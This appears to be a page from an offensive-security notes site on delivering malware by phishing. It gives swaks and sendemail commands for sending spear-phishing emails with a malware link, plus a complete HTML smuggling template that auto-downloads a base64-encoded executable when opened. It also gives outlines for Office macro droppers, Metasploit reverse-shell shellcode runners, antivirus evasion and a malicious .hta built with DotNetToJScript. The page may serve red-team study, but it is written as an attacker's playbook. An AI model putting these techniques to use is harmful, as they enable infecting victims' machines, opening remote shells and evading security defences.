TwitterBlog

Malicious Phishing Files

This section contains several ways to infect a victim by sending a malicious file.

Sending emails

In case you are performing spear phishing, you can use the following commands to send the phishing email.

swaks -t <VICTIM_EMAIL> -f <YOUR_FAKE_EMAIL> --server <SMTP_EMAIL> --body 'click me http://<YOUR_IP>/<MALWARE>' --header "Subject: Important" --add-header "Really: 1.0" --add-header "Content-Type: text/html"  [--attach <ATTACHED_FILE>]

sendemail -t <VICTIM_EMAIL> -f <YOUR_FAKE_EMAIL> -s <SMTP_EMAIL> -m "click me http://<YOUR_IP>/<MALWARE>" -u "Important!!!" [-a <ATTACHED_FILE>]

HTML Smuggling

This technique consists of attackers embedding malicious files into HTML or JavaScript code within seemingly harmless files or documents. In this case, the attacker will base64 encode its malicious file and add it into an HTML file. Then, once the victim accesses the HTML file, the malicious file will be downloaded into the machine, but it won't be executed unless the attacker tricks the victim into doing so.

<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array(len);
                for (var i = 0; i < len; i++) {
                    bytes[i] = binary_string.charCodeAt(i);
                }
                return bytes.buffer;
            }
            
            var fileName = '<MALICIOUS_FILE_NAME>';
            <!-- base64 -w 0 <FILE.EXE> -->
            var file = '<B64_ENCODED_FILE>';
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {
                type: 'octet/stream'
            });
            
            
            if (window.navigator.msSaveOrOpenBlob) {
                window.navigator.msSaveOrOpenBlob(blob, fileName);
            } else {
                var a = document.createElement('a');
                document.body.appendChild(a);
                a.style = 'display: none';
                var url = window.URL.createObjectURL(blob);
                a.href = url;
                a.download = fileName;
                a.click();
                window.URL.revokeObjectURL(url);
            }
        </script>
    </body> 
</html>

Office

Thanks to Microsoft Office document macros, they can be used to infect the victim's computer in several ways.

File Dropper

Waits two seconds (Wait (2)) for the file to be downloaded and then it is executed.

Win32Runner

The following macro allocates the Metasploit's assembly code into memory and then executes it. However, there is a caveat because if the victim closes Office the reverse shell will be closed, so you need to migrate the reverse shell to another process.

Win32Runner - BadAssMacros (Tool)

The BadAsssMacros is a tool used to generate malicious macros leveraging techniques like VBA Purging and Shellcode Obfuscation to evade AV engines. Nonetheless, it only works on x86 office. For x64 instances, you need to change the generated as stated in the repository.

HTA

A .hta (HTML Application) file is a type of file format used in Windows to create applications with an HTML and scripting language-based user interface. .hta files are executed using the Microsoft HTML Application Host (mshta.exe) rather than a web browser. They allow developers to create standalone applications that can have a graphical user interface (GUI) using HTML, CSS, and JavaScript.

Thus, based on the previous information, you can create your own .hta that will run your malicious code.

HTA - DotNetToJScript

The DotNetToJScript tool generates a JScript which bootstraps an arbitrary .NET Assembly and class.

  1. Modify ExampleAssembly.cs to obtain a reverse shell with Metasploit and compile the project.

  1. Encode the ExampleAssembly.dll into JScript.

  1. Add the output of demo.js into runner.hta.

Last updated